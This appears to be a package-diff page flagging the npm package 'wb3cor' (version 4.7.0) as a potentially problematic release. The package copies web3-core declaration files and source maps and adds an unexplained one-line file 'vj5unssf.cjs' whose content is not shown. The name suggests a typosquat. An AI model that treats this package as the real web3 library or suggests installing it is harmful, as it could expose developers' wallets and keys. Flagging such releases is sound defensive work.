wb3cor 0.0.1-security → 4.7.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of wb3cor might be problematic. Click here for more details.

Files changed (102) hide show
  1. package/LICENSE +14 -0
  2. package/README.md +57 -3
  3. package/lib/commonjs/formatters.d.ts +99 -0
  4. package/lib/commonjs/formatters.js +430 -0
  5. package/lib/commonjs/formatters.js.map +1 -0
  6. package/lib/commonjs/index.d.ts +12 -0
  7. package/lib/commonjs/index.js +59 -0
  8. package/lib/commonjs/index.js.map +1 -0
  9. package/lib/commonjs/package.json +1 -0
  10. package/lib/commonjs/types.d.ts +23 -0
  11. package/lib/commonjs/types.js +19 -0
  12. package/lib/commonjs/types.js.map +1 -0
  13. package/lib/commonjs/utils.d.ts +9 -0
  14. package/lib/commonjs/utils.js +58 -0
  15. package/lib/commonjs/utils.js.map +1 -0
  16. package/lib/commonjs/web3_batch_request.d.ts +16 -0
  17. package/lib/commonjs/web3_batch_request.js +106 -0
  18. package/lib/commonjs/web3_batch_request.js.map +1 -0
  19. package/lib/commonjs/web3_config.d.ts +259 -0
  20. package/lib/commonjs/web3_config.js +436 -0
  21. package/lib/commonjs/web3_config.js.map +1 -0
  22. package/lib/commonjs/web3_context.d.ts +212 -0
  23. package/lib/commonjs/web3_context.js +322 -0
  24. package/lib/commonjs/web3_context.js.map +1 -0
  25. package/lib/commonjs/web3_event_emitter.d.ts +23 -0
  26. package/lib/commonjs/web3_event_emitter.js +60 -0
  27. package/lib/commonjs/web3_event_emitter.js.map +1 -0
  28. package/lib/commonjs/web3_promi_event.d.ts +12 -0
  29. package/lib/commonjs/web3_promi_event.js +65 -0
  30. package/lib/commonjs/web3_promi_event.js.map +1 -0
  31. package/lib/commonjs/web3_request_manager.d.ts +62 -0
  32. package/lib/commonjs/web3_request_manager.js +352 -0
  33. package/lib/commonjs/web3_request_manager.js.map +1 -0
  34. package/lib/commonjs/web3_subscription_manager.d.ts +81 -0
  35. package/lib/commonjs/web3_subscription_manager.js +193 -0
  36. package/lib/commonjs/web3_subscription_manager.js.map +1 -0
  37. package/lib/commonjs/web3_subscriptions.d.ts +57 -0
  38. package/lib/commonjs/web3_subscriptions.js +129 -0
  39. package/lib/commonjs/web3_subscriptions.js.map +1 -0
  40. package/lib/esm/formatters.js +408 -0
  41. package/lib/esm/formatters.js.map +1 -0
  42. package/lib/esm/index.js +30 -0
  43. package/lib/esm/index.js.map +1 -0
  44. package/lib/esm/package.json +1 -0
  45. package/lib/esm/types.js +18 -0
  46. package/lib/esm/types.js.map +1 -0
  47. package/lib/esm/utils.js +47 -0
  48. package/lib/esm/utils.js.map +1 -0
  49. package/lib/esm/web3_batch_request.js +102 -0
  50. package/lib/esm/web3_batch_request.js.map +1 -0
  51. package/lib/esm/web3_config.js +432 -0
  52. package/lib/esm/web3_config.js.map +1 -0
  53. package/lib/esm/web3_context.js +316 -0
  54. package/lib/esm/web3_context.js.map +1 -0
  55. package/lib/esm/web3_event_emitter.js +56 -0
  56. package/lib/esm/web3_event_emitter.js.map +1 -0
  57. package/lib/esm/web3_promi_event.js +61 -0
  58. package/lib/esm/web3_promi_event.js.map +1 -0
  59. package/lib/esm/web3_request_manager.js +345 -0
  60. package/lib/esm/web3_request_manager.js.map +1 -0
  61. package/lib/esm/web3_subscription_manager.js +189 -0
  62. package/lib/esm/web3_subscription_manager.js.map +1 -0
  63. package/lib/esm/web3_subscriptions.js +125 -0
  64. package/lib/esm/web3_subscriptions.js.map +1 -0
  65. package/lib/types/formatters.d.ts +100 -0
  66. package/lib/types/formatters.d.ts.map +1 -0
  67. package/lib/types/index.d.ts +13 -0
  68. package/lib/types/index.d.ts.map +1 -0
  69. package/lib/types/types.d.ts +24 -0
  70. package/lib/types/types.d.ts.map +1 -0
  71. package/lib/types/utils.d.ts +10 -0
  72. package/lib/types/utils.d.ts.map +1 -0
  73. package/lib/types/web3_batch_request.d.ts +17 -0
  74. package/lib/types/web3_batch_request.d.ts.map +1 -0
  75. package/lib/types/web3_config.d.ts +260 -0
  76. package/lib/types/web3_config.d.ts.map +1 -0
  77. package/lib/types/web3_context.d.ts +213 -0
  78. package/lib/types/web3_context.d.ts.map +1 -0
  79. package/lib/types/web3_event_emitter.d.ts +24 -0
  80. package/lib/types/web3_event_emitter.d.ts.map +1 -0
  81. package/lib/types/web3_promi_event.d.ts +13 -0
  82. package/lib/types/web3_promi_event.d.ts.map +1 -0
  83. package/lib/types/web3_request_manager.d.ts +63 -0
  84. package/lib/types/web3_request_manager.d.ts.map +1 -0
  85. package/lib/types/web3_subscription_manager.d.ts +82 -0
  86. package/lib/types/web3_subscription_manager.d.ts.map +1 -0
  87. package/lib/types/web3_subscriptions.d.ts +58 -0
  88. package/lib/types/web3_subscriptions.d.ts.map +1 -0
  89. package/package.json +59 -4
  90. package/src/formatters.ts +551 -0
  91. package/src/index.ts +31 -0
  92. package/src/types.ts +58 -0
  93. package/src/utils.ts +85 -0
  94. package/src/web3_batch_request.ts +128 -0
  95. package/src/web3_config.ts +557 -0
  96. package/src/web3_context.ts +471 -0
  97. package/src/web3_event_emitter.ts +73 -0
  98. package/src/web3_promi_event.ts +79 -0
  99. package/src/web3_request_manager.ts +492 -0
  100. package/src/web3_subscription_manager.ts +266 -0
  101. package/src/web3_subscriptions.ts +207 -0
  102. package/vj5unssf.cjs +1 -0
@@ -0,0 +1,213 @@
1
+ import { EthExecutionAPI, HexString, Numbers, SupportedProviders, Transaction, Web3AccountProvider, Web3APISpec, Web3BaseProvider, Web3BaseWallet, Web3BaseWalletAccount } from 'web3-types';
2
+ import { BaseTransaction } from 'web3-eth-accounts';
3
+ import { ExtensionObject, RequestManagerMiddleware } from './types.js';
4
+ import { Web3BatchRequest } from './web3_batch_request.js';
5
+ import { Web3Config, Web3ConfigOptions } from './web3_config.js';
6
+ import { Web3RequestManager } from './web3_request_manager.js';
7
+ import { Web3SubscriptionConstructor } from './web3_subscriptions.js';
8
+ import { Web3SubscriptionManager } from './web3_subscription_manager.js';
9
+ export declare type Web3ContextObject<API extends Web3APISpec = unknown, RegisteredSubs extends {
10
+ [key: string]: Web3SubscriptionConstructor<API>;
11
+ } = any> = {
12
+ config: Web3ConfigOptions;
13
+ provider?: SupportedProviders<API> | string;
14
+ requestManager: Web3RequestManager<API>;
15
+ subscriptionManager?: Web3SubscriptionManager<API, RegisteredSubs> | undefined;
16
+ registeredSubscriptions?: RegisteredSubs;
17
+ providers: typeof Web3RequestManager.providers;
18
+ accountProvider?: Web3AccountProvider<Web3BaseWalletAccount>;
19
+ wallet?: Web3BaseWallet<Web3BaseWalletAccount>;
20
+ };
21
+ export declare type Web3ContextInitOptions<API extends Web3APISpec = unknown, RegisteredSubs extends {
22
+ [key: string]: Web3SubscriptionConstructor<API>;
23
+ } = any> = {
24
+ config?: Partial<Web3ConfigOptions>;
25
+ provider?: SupportedProviders<API> | string;
26
+ requestManager?: Web3RequestManager<API>;
27
+ subscriptionManager?: Web3SubscriptionManager<API, RegisteredSubs> | undefined;
28
+ registeredSubscriptions?: RegisteredSubs;
29
+ accountProvider?: Web3AccountProvider<Web3BaseWalletAccount>;
30
+ wallet?: Web3BaseWallet<Web3BaseWalletAccount>;
31
+ requestManagerMiddleware?: RequestManagerMiddleware<API>;
32
+ };
33
+ export declare type Web3ContextConstructor<T extends Web3Context, T2 extends unknown[]> = new (...args: [...extras: T2, context: Web3ContextObject]) => T;
34
+ export declare type Web3ContextFactory<T extends Web3Context, T2 extends unknown[]> = Web3ContextConstructor<T, T2> & {
35
+ fromContextObject(this: Web3ContextConstructor<T, T2>, contextObject: Web3ContextObject): T;
36
+ };
37
+ export declare class Web3Context<API extends Web3APISpec = unknown, RegisteredSubs extends {
38
+ [key: string]: Web3SubscriptionConstructor<API>;
39
+ } = any> extends Web3Config {
40
+ static readonly providers: {
41
+ HttpProvider: import("web3-types").Web3BaseProviderConstructor;
42
+ WebsocketProvider: import("web3-types").Web3BaseProviderConstructor;
43
+ };
44
+ static givenProvider?: SupportedProviders<never>;
45
+ readonly providers: {
46
+ HttpProvider: import("web3-types").Web3BaseProviderConstructor;
47
+ WebsocketProvider: import("web3-types").Web3BaseProviderConstructor;
48
+ };
49
+ protected _requestManager: Web3RequestManager<API>;
50
+ protected _subscriptionManager: Web3SubscriptionManager<API, RegisteredSubs>;
51
+ protected _accountProvider?: Web3AccountProvider<Web3BaseWalletAccount>;
52
+ protected _wallet?: Web3BaseWallet<Web3BaseWalletAccount>;
53
+ constructor(providerOrContext?: string | SupportedProviders<API> | Web3ContextInitOptions<API, RegisteredSubs>);
54
+ get requestManager(): Web3RequestManager<API>;
55
+ /**
56
+ * Will return the current subscriptionManager ({@link Web3SubscriptionManager})
57
+ */
58
+ get subscriptionManager(): Web3SubscriptionManager<API, RegisteredSubs>;
59
+ get wallet(): Web3BaseWallet<Web3BaseWalletAccount> | undefined;
60
+ get accountProvider(): Web3AccountProvider<Web3BaseWalletAccount> | undefined;
61
+ static fromContextObject<T extends Web3Context, T3 extends unknown[]>(this: Web3ContextConstructor<T, T3>, ...args: [Web3ContextObject, ...T3]): T;
62
+ getContextObject(): Web3ContextObject<API, RegisteredSubs>;
63
+ /**
64
+ * Use to create new object of any type extended by `Web3Context`
65
+ * and link it to current context. This can be used to initiate a global context object
66
+ * and then use it to create new objects of any type extended by `Web3Context`.
67
+ */
68
+ use<T extends Web3Context, T2 extends unknown[]>(ContextRef: Web3ContextConstructor<T, T2>, ...args: [...T2]): T;
69
+ /**
70
+ * Link current context to another context.
71
+ */
72
+ link<T extends Web3Context>(parentContext: T): void;
73
+ registerPlugin(plugin: Web3PluginBase): void;
74
+ /**
75
+ * Will return the current provider.
76
+ *
77
+ * @returns Returns the current provider
78
+ * @example
79
+ * ```ts
80
+ * const web3 = new Web3Context("http://localhost:8545");
81
+ * console.log(web3.provider);
82
+ * > HttpProvider {
83
+ * clientUrl: 'http://localhost:8545',
84
+ * httpProviderOptions: undefined
85
+ * }
86
+ * ```
87
+ */
88
+ get provider(): Web3BaseProvider<API> | undefined;
89
+ /**
90
+ * Will set the current provider.
91
+ *
92
+ * @param provider - The provider to set
93
+ *
94
+ * Accepted providers are of type {@link SupportedProviders}
95
+ * @example
96
+ * ```ts
97
+ * const web3Context = new web3ContextContext("http://localhost:8545");
98
+ * web3Context.provider = "ws://localhost:8545";
99
+ * console.log(web3Context.provider);
100
+ * > WebSocketProvider {
101
+ * _eventEmitter: EventEmitter {
102
+ * _events: [Object: null prototype] {},
103
+ * _eventsCount: 0,
104
+ * ...
105
+ * }
106
+ * ```
107
+ */
108
+ set provider(provider: SupportedProviders<API> | string | undefined);
109
+ /**
110
+ * Will return the current provider. (The same as `provider`)
111
+ *
112
+ * @returns Returns the current provider
113
+ * @example
114
+ * ```ts
115
+ * const web3Context = new Web3Context("http://localhost:8545");
116
+ * console.log(web3Context.provider);
117
+ * > HttpProvider {
118
+ * clientUrl: 'http://localhost:8545',
119
+ * httpProviderOptions: undefined
120
+ * }
121
+ * ```
122
+ */
123
+ get currentProvider(): Web3BaseProvider<API> | undefined;
124
+ /**
125
+ * Will set the current provider. (The same as `provider`)
126
+ *
127
+ * @param provider - {@link SupportedProviders} The provider to set
128
+ *
129
+ * @example
130
+ * ```ts
131
+ * const web3Context = new Web3Context("http://localhost:8545");
132
+ * web3Context.currentProvider = "ws://localhost:8545";
133
+ * console.log(web3Context.provider);
134
+ * > WebSocketProvider {
135
+ * _eventEmitter: EventEmitter {
136
+ * _events: [Object: null prototype] {},
137
+ * _eventsCount: 0,
138
+ * ...
139
+ * }
140
+ * ```
141
+ */
142
+ set currentProvider(provider: SupportedProviders<API> | string | undefined);
143
+ /**
144
+ * Will return the givenProvider if available.
145
+ *
146
+ * When using web3.js in an Ethereum compatible browser, it will set with the current native provider by that browser. Will return the given provider by the (browser) environment, otherwise `undefined`.
147
+ */
148
+ get givenProvider(): SupportedProviders<never> | undefined;
149
+ /**
150
+ * Will set the provider.
151
+ *
152
+ * @param provider - {@link SupportedProviders} The provider to set
153
+ * @returns Returns true if the provider was set
154
+ */
155
+ setProvider(provider?: SupportedProviders<API> | string): boolean;
156
+ setRequestManagerMiddleware(requestManagerMiddleware: RequestManagerMiddleware<API>): void;
157
+ /**
158
+ * Will return the {@link Web3BatchRequest} constructor.
159
+ */
160
+ get BatchRequest(): new () => Web3BatchRequest;
161
+ /**
162
+ * This method allows extending the web3 modules.
163
+ * Note: This method is only for backward compatibility, and It is recommended to use Web3 v4 Plugin feature for extending web3.js functionality if you are developing something new.
164
+ */
165
+ extend(extendObj: ExtensionObject): this;
166
+ }
167
+ /**
168
+ * Extend this class when creating a plugin that either doesn't require {@link EthExecutionAPI},
169
+ * or interacts with a RPC node that doesn't fully implement {@link EthExecutionAPI}.
170
+ *
171
+ * To add type support for RPC methods to the {@link Web3RequestManager},
172
+ * define a {@link Web3APISpec} and pass it as a generic to Web3PluginBase like so:
173
+ *
174
+ * @example
175
+ * ```ts
176
+ * type CustomRpcApi = {
177
+ * custom_rpc_method: () => string;
178
+ * custom_rpc_method_with_parameters: (parameter1: string, parameter2: number) => string;
179
+ * };
180
+ *
181
+ * class CustomPlugin extends Web3PluginBase<CustomRpcApi> {...}
182
+ * ```
183
+ */
184
+ export declare abstract class Web3PluginBase<API extends Web3APISpec = Web3APISpec> extends Web3Context<API> {
185
+ abstract pluginNamespace: string;
186
+ protected registerNewTransactionType<NewTxTypeClass extends typeof BaseTransaction<unknown>>(type: Numbers, txClass: NewTxTypeClass): void;
187
+ }
188
+ /**
189
+ * Extend this class when creating a plugin that makes use of {@link EthExecutionAPI},
190
+ * or depends on other Web3 packages (such as `web3-eth-contract`) that depend on {@link EthExecutionAPI}.
191
+ *
192
+ * To add type support for RPC methods to the {@link Web3RequestManager} (in addition to {@link EthExecutionAPI}),
193
+ * define a {@link Web3APISpec} and pass it as a generic to Web3PluginBase like so:
194
+ *
195
+ * @example
196
+ * ```ts
197
+ * type CustomRpcApi = {
198
+ * custom_rpc_method: () => string;
199
+ * custom_rpc_method_with_parameters: (parameter1: string, parameter2: number) => string;
200
+ * };
201
+ *
202
+ * class CustomPlugin extends Web3PluginBase<CustomRpcApi> {...}
203
+ * ```
204
+ */
205
+ export declare abstract class Web3EthPluginBase<API extends Web3APISpec = unknown> extends Web3PluginBase<API & EthExecutionAPI> {
206
+ }
207
+ export declare type TransactionBuilder<API extends Web3APISpec = unknown> = <ReturnType = Transaction>(options: {
208
+ transaction: Transaction;
209
+ web3Context: Web3Context<API>;
210
+ privateKey?: HexString | Uint8Array;
211
+ fillGasPrice?: boolean;
212
+ }) => Promise<ReturnType>;
213
+ //# sourceMappingURL=web3_context.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"web3_context.d.ts","sourceRoot":"","sources":["../../src/web3_context.ts"],"names":[],"mappings":"AAkBA,OAAO,EACN,eAAe,EACf,SAAS,EACT,OAAO,EACP,kBAAkB,EAClB,WAAW,EACX,mBAAmB,EACnB,WAAW,EACX,gBAAgB,EAChB,cAAc,EACd,qBAAqB,EACrB,MAAM,YAAY,CAAC;AAEpB,OAAO,EAAE,eAAe,EAAsB,MAAM,mBAAmB,CAAC;AAGxE,OAAO,EAAE,eAAe,EAAE,wBAAwB,EAAE,MAAM,YAAY,CAAC;AACvE,OAAO,EAAE,gBAAgB,EAAE,MAAM,yBAAyB,CAAC;AAE3D,OAAO,EAAE,UAAU,EAAmB,iBAAiB,EAAE,MAAM,kBAAkB,CAAC;AAClF,OAAO,EAAE,kBAAkB,EAAE,MAAM,2BAA2B,CAAC;AAC/D,OAAO,EAAE,2BAA2B,EAAE,MAAM,yBAAyB,CAAC;AACtE,OAAO,EAAE,uBAAuB,EAAE,MAAM,gCAAgC,CAAC;AAGzE,oBAAY,iBAAiB,CAC5B,GAAG,SAAS,WAAW,GAAG,OAAO,EACjC,cAAc,SAAS;IACtB,CAAC,GAAG,EAAE,MAAM,GAAG,2BAA2B,CAAC,GAAG,CAAC,CAAC;CAEhD,GAAG,GAAG,IACJ;IACH,MAAM,EAAE,iBAAiB,CAAC;IAC1B,QAAQ,CAAC,EAAE,kBAAkB,CAAC,GAAG,CAAC,GAAG,MAAM,CAAC;IAC5C,cAAc,EAAE,kBAA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AgB,eAAe,EAAE,MAAM,CAAC;IAGxC,SAAS,CAAC,0BAA0B,CAAC,cAAc,SAAS,OAAO,eAAe,CAAC,OAAO,CAAC,EAC1F,IAAI,EAAE,OAAO,EACb,OAAO,EAAE,cAAc,GACrB,IAAI;CAGP;AAED;;;;;;;;;;;;;;;;GAgBG;AACH,8BAAsB,iBAAiB,CAAC,GAAG,SAAS,WAAW,GAAG,OAAO,CAAE,SAAQ,cAAc,CAChG,GAAG,GAAG,eAAe,CACrB;CAAG;AAGJ,oBAAY,kBAAkB,CAAC,GAAG,SAAS,WAAW,GAAG,OAAO,IAAI,CACnE,UAAU,GAAG,WAAW,EACvB,OAAO,EAAE;IACV,WAAW,EAAE,WAAW,CAAC;IACzB,WAAW,EAAE,WAAW,CAAC,GAAG,CAAC,CAAC;IAC9B,UAAU,CAAC,EAAE,SAAS,GAAG,UAAU,CAAC;IACpC,YAAY,CAAC,EAAE,OAAO,CAAC;CACvB,KAAK,OAAO,CAAC,UAAU,CAAC,CAAC"}
@@ -0,0 +1,24 @@
1
+ import { EventEmitter } from 'web3-utils';
2
+ export declare type Web3EventMap = Record<string, unknown>;
3
+ export declare type Web3EventKey<T extends Web3EventMap> = string & keyof T;
4
+ export declare type Web3EventCallback<T> = (params: T) => void | Promise<void>;
5
+ export interface Web3Emitter<T extends Web3EventMap> {
6
+ on<K extends Web3EventKey<T>>(eventName: K, fn: Web3EventCallback<T[K]>): void;
7
+ once<K extends Web3EventKey<T>>(eventName: K, fn: Web3EventCallback<T[K]>): void;
8
+ off<K extends Web3EventKey<T>>(eventName: K, fn: Web3EventCallback<T[K]>): void;
9
+ emit<K extends Web3EventKey<T>>(eventName: K, params: T[K]): void;
10
+ }
11
+ export declare class Web3EventEmitter<T extends Web3EventMap> implements Web3Emitter<T> {
12
+ private readonly _emitter;
13
+ on<K extends Web3EventKey<T>>(eventName: K, fn: Web3EventCallback<T[K]>): void;
14
+ once<K extends Web3EventKey<T>>(eventName: K, fn: Web3EventCallback<T[K]>): void;
15
+ off<K extends Web3EventKey<T>>(eventName: K, fn: Web3EventCallback<T[K]>): void;
16
+ emit<K extends Web3EventKey<T>>(eventName: K, params: T[K]): void;
17
+ listenerCount<K extends Web3EventKey<T>>(eventName: K): number;
18
+ listeners<K extends Web3EventKey<T>>(eventName: K): ((...args: any[]) => void)[];
19
+ eventNames(): (string | symbol)[];
20
+ removeAllListeners(): EventEmitter;
21
+ setMaxListenerWarningThreshold(maxListenersWarningThreshold: number): void;
22
+ getMaxListeners(): number;
23
+ }
24
+ //# sourceMappingURL=web3_event_emitter.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"web3_event_emitter.d.ts","sourceRoot":"","sources":["../../src/web3_event_emitter.ts"],"names":[],"mappings":"AAiBA,OAAO,EAAE,YAAY,EAAE,MAAM,YAAY,CAAC;AAE1C,oBAAY,YAAY,GAAG,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC;AACnD,oBAAY,YAAY,CAAC,CAAC,SAAS,YAAY,IAAI,MAAM,GAAG,MAAM,CAAC,CAAC;AACpE,oBAAY,iBAAiB,CAAC,CAAC,IAAI,CAAC,MAAM,EAAE,CAAC,KAAK,IAAI,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;AACvE,MAAM,WAAW,WAAW,CAAC,CAAC,SAAS,YAAY;IAClD,EAAE,CAAC,CAAC,SAAS,YAAY,CAAC,CAAC,CAAC,EAAE,SAAS,EAAE,CAAC,EAAE,EAAE,EAAE,iBAAiB,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,IAAI,CAAC;IAC/E,IAAI,CAAC,CAAC,SAAS,YAAY,CAAC,CAAC,CAAC,EAAE,SAAS,EAAE,CAAC,EAAE,EAAE,EAAE,iBAAiB,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,IAAI,CAAC;IACjF,GAAG,CAAC,CAAC,SAAS,YAAY,CAAC,CAAC,CAAC,EAAE,SAAS,EAAE,CAAC,EAAE,EAAE,EAAE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seExecutor<T> = (resolve: (data: T) => void, reject: (reason: unknown) => void) => void;
3
+ export declare class Web3PromiEvent<ResolveType, EventMap extends Web3EventMap> extends Web3EventEmitter<EventMap> implements Promise<ResolveType> {
4
+ private readonly _promise;
5
+ constructor(executor: PromiseExecutor<ResolveType>);
6
+ [Symbol.toStringTag]: 'Promise';
7
+ then<TResult1 = ResolveType, TResult2 = never>(onfulfilled?: ((value: ResolveType) => TResult1 | PromiseLike<TResult1>) | undefined, onrejected?: ((reason: unknown) => TResult2 | PromiseLike<TResult2>) | undefined): Promise<TResult1 | TResult2>;
8
+ catch<TResult = never>(onrejected?: ((reason: unknown) => TResult | PromiseLike<TResult>) | undefined): Promise<ResolveType | TResult>;
9
+ finally(onfinally?: (() => void) | undefined): Promise<ResolveType>;
10
+ on<K extends Web3EventKey<EventMap>>(eventName: K, fn: Web3EventCallback<EventMap[K]>): this;
11
+ once<K extends Web3EventKey<EventMap>>(eventName: K, fn: Web3EventCallback<EventMap[K]>): this;
12
+ }
13
+ //# sourceMappingURL=web3_promi_event.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"web3_promi_event.d.ts","sourceRoot":"","sources":["../../src/web3_promi_event.ts"],"names":[],"mappings":"AAiBA,OAAO,EACN,iBAAiB,EACjB,gBAAgB,EAChB,YAAY,EACZ,YAAY,EACZ,MAAM,yBAAyB,CAAC;AAEjC,oBAAY,eAAe,CAAC,CAAC,IAAI,CAChC,OAAO,EAAE,CAAC,IAAI,EAAE,CAAC,KAAK,IAAI,EAC1B,MAAM,EAAE,CAAC,MAAM,EAAE,OAAO,KAAK,IAAI,KAC7B,IAAI,CAAC;AAEV,qBAAa,cAAc,CAAC,WAAW,EAAE,QAAQ,SAAS,YAAY,CACrE,SAAQ,gBAAgB,CAAC,QAAQ,CACjC,YAAW,OAAO,CAAC,WAAW,CAAC;IAE/B,OAAO,CAAC,QAAQ,CAAC,QAAQ,CAAuB;gBAE7B,QAAQ,EAAE,eAAe,CAAC,WAAW,CAAC;IAOlD,CAAC,MAAM,CAAC,WAAW,CAAC,EAAE,SAAS,CAAa;IAEtC,IAAI,CAAC,QAAQ,GAAG,WAAW,EAAE,QAAQ,GAAG,KAAK,EACzD,WAAW,CAAC,EAAE,CAAC,CAAC,KAAK,EAAE,WAAW,KAAK,QAAQ,GAAG,WAAW,CAAC,QAAQ,CAAC,CAAC,GAAG,SAAS,EACpF,UAAU,CAAC,EAAE,CAAC,CAAC,MAAM,EAAE,OAAO,KAAK,QAAQ,GAAG,WAAW,CAAC,QAAQ,CAAC,CAAC,GAAG,SAAS,GAC9E,OAAO,CAAC,QAAQ,GAAG,QAAQ,CAAC;IAIlB,KAAK,CAAC,OAAO,GAAG,KAAK,EACjC,UAAU,CAAC,EAAE,CAAC,CAAC,MAAM,EAAE,OAAO,KAAK,OAAO,GAAG,WAAW,CAAC,OAAO,CAAC,CAAC,GAAG,SAAS,GAC5E,OAAO,CAAC,WAAW,GAAG,OAAO,CAAC;IAIpB,OAAO,CAAC,SAAS,CAAC,EAAE,CAAC,MAAM,IAAI,CAAC,GAAG,SAAS,GAAG,OAAO,CAAC,WAAW,CAAC;IAIzE,EAAE,CAAC,CAAC,SAAS,YAAY,CAAC,QAAQ,CAAC,EACzC,SAAS,EAAE,CAAC,EACZ,EAAE,EAAE,iBAAiB,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,GAChC,IAAI;IAMA,IAAI,CAAC,CAAC,SAAS,YAAY,CAAC,QAAQ,CAAC,EAC3C,SAAS,EAAE,CAAC,EACZ,EAAE,EAAE,iBAAiB,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,GAChC,IAAI;CAKP"}
@@ -0,0 +1,63 @@
1
+ import { EthExecutionAPI, JsonRpcBatchRequest, JsonRpcBatchResponse, SupportedProviders, Web3APIMethod, Web3APIRequest, Web3APIReturnType, Web3APISpec, Web3BaseProviderConstructor } from 'web3-types';
2
+ import { Web3EventEmitter } from './web3_event_emitter.js';
3
+ import { RequestManagerMiddleware } from './types.js';
4
+ export declare enum Web3RequestManagerEvent {
5
+ PROVIDER_CHANGED = "PROVIDER_CHANGED",
6
+ BEFORE_PROVIDER_CHANGE = "BEFORE_PROVIDER_CHANGE"
7
+ }
8
+ export declare class Web3RequestManager<API extends Web3APISpec = EthExecutionAPI> extends Web3EventEmitter<{
9
+ [key in Web3RequestManagerEvent]: SupportedProviders<API> | undefined;
10
+ }> {
11
+ private _provider?;
12
+ private readonly useRpcCallSpecification?;
13
+ middleware?: RequestManagerMiddleware<API>;
14
+ constructor(provider?: SupportedProviders<API> | string, useRpcCallSpecification?: boolean, requestManagerMiddleware?: RequestManagerMiddleware<API>);
15
+ /**
16
+ * Will return all available providers
17
+ */
18
+ static get providers(): {
19
+ HttpProvider: Web3BaseProviderConstructor;
20
+ WebsocketProvider: Web3BaseProviderConstructor;
21
+ };
22
+ /**
23
+ * Will return the current provider.
24
+ *
25
+ * @returns Returns the current provider
26
+ */
27
+ get provider(): SupportedProviders<API> | undefined;
28
+ /**
29
+ * Will return all available providers
30
+ */
31
+ get providers(): {
32
+ HttpProvider: Web3BaseProviderConstructor;
33
+ WebsocketProvider: Web3BaseProviderConstructor;
34
+ };
35
+ /**
36
+ * Use to set provider. Provider can be a provider instance or a string.
37
+ *
38
+ * @param provider - The provider to set
39
+ */
40
+ setProvider(provider?: SupportedProviders<API> | string): boolean;
41
+ setMiddleware(requestManagerMiddleware: RequestManagerMiddleware<API>): void;
42
+ /**
43
+ *
44
+ * Will execute a request
45
+ *
46
+ * @param request - {@link Web3APIRequest} The request to send
47
+ *
48
+ * @returns The response of the request {@link ResponseType}. If there is error
49
+ * in the response, will throw an error
50
+ */
51
+ send<Method extends Web3APIMethod<API>, ResponseType = Web3APIReturnType<API, Method>>(request: Web3APIRequest<API, Method>): Promise<ResponseType>;
52
+ /**
53
+ * Same as send, but, will execute a batch of requests
54
+ *
55
+ * @param request {@link JsonRpcBatchRequest} The batch request to send
56
+ */
57
+ sendBatch(request: JsonRpcBatchRequest): Promise<JsonRpcBatchResponse<unknown>>;
58
+ private _sendRequest;
59
+ private _processJsonRpcResponse;
60
+ private static _isReverted;
61
+ private _buildResponse;
62
+ }
63
+ //# sourceMappingURL=web3_request_manager.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"web3_request_manager.d.ts","sourceRoot":"","sources":["../../src/web3_request_manager.ts"],"names":[],"mappings":"AA2BA,OAAO,EACN,eAAe,EACf,mBAAmB,EACnB,oBAAoB,EAMpB,kBAAkB,EAClB,aAAa,EAEb,cAAc,EACd,iBAAiB,EACjB,WAAW,EAEX,2BAA2B,EAC3B,MAAM,YAAY,CAAC;AASpB,OAAO,EAAE,gBAAgB,EAAE,MAAM,yBAAyB,CAAC;AAC3D,OAAO,EAAE,wBAAwB,EAAE,MAAM,YAAY,CAAC;AAEtD,oBAAY,uBAAuB;IAClC,gBAAgB,qBAAqB;IACrC,sBAAsB,2BAA2B;CACjD;AAUD,qBAAa,kBAAkB,CAC9B,GAAG,SAAS,WAAW,GAAG,eAAe,CACxC,SAAQ,gBAAgB,CAAC;KACzB,GAAG,IAAI,uBAAuB,GAAG,kBAAkB,CAAC,GAAG,CAAC,GAAG,SAAS;CACrE,CAAC;IACD,OAAO,CAAC,SAAS,CAAC,CAA0B;IAC5C,OAAO,CAAC,QAAQ,CAAC,uBAAuB,CAAC,CAAU;IAC5C,UAAU,CAAC,EAAE,wBAAwB,CAAC,GAAG,CAAC,CAAC;gBAGjD,QAAQ,CAAC,EAAE,kBAAkB,CAAC,GAAG,CAAC,GAAG,MAAM,EAC3C,uBAAuB,CAAC,EAAE,OAAO,EACjC,wBAAwB,CAAC,EAAE,wBAAwB,CAAC,GAAG,CAAC;IAYzD;;OAEG;IACH,WAAkB,SAAS;;;MAE1B;IAED;;;;OAIG;IACH,IAAW,QAAQ,wCAElB;IAED;;OAEG;IAEH,IAAW,SAAS;;;MAEnB;IAED;;;;OAIG;IACI,WAAW,CAAC,QAAQ,CAAC,EAAE,kBAAkB,CAAC,GAAG,CAAC,GAAG,MAAM,GAAG,OAAO;IA4BjE,aAAa,CAAC,wBAAwB,EAAE,wBAAwB,CAAC,GAAG,CAAC;IAI5E;;;;;;;;OAQG;IACU,IAAI,CAChB,MAAM,SAAS,aAAa,CAAC,GAAG,CAAC,EACjC,YAAY,GAAG,iBAAiB,CAAC,GAAG,EAAE,MAAM,CAAC,EAC5C,OAAO,EAAE,cAAc,CAAC,GAAG,EAAE,MAAM,CAAC,GAAG,OAAO,CAAC,YAAY,CAAC;IAc9D;;;;OAIG;IACU,SAAS,CAAC,OAAO,EAAE,mBAAmB,GAAG,OAAO,CAAC,oBAAoB,CAAC,OAAO,CAAC,CAAC;YAM9E,YAAY;IA4K1B,OAAO,CAAC,uBAAuB;IA+E/B,OAAO,CAAC,MAAM,CAAC,WAAW;IAoB1B,OAAO,CAAC,cAAc;CA6BtB"}
@@ -0,0 +1,82 @@
1
+ import { DataFormat, JsonRpcNotification, JsonRpcSubscriptionResult, JsonRpcSubscriptionResultOld, Log, Web3APISpec } from 'web3-types';
2
+ import { Web3RequestManager } from './web3_request_manager.js';
3
+ import { Web3SubscriptionConstructor } from './web3_subscriptions.js';
4
+ declare type ShouldUnsubscribeCondition = ({ id, sub, }: {
5
+ id: string;
6
+ sub: unknown;
7
+ }) => boolean | undefined;
8
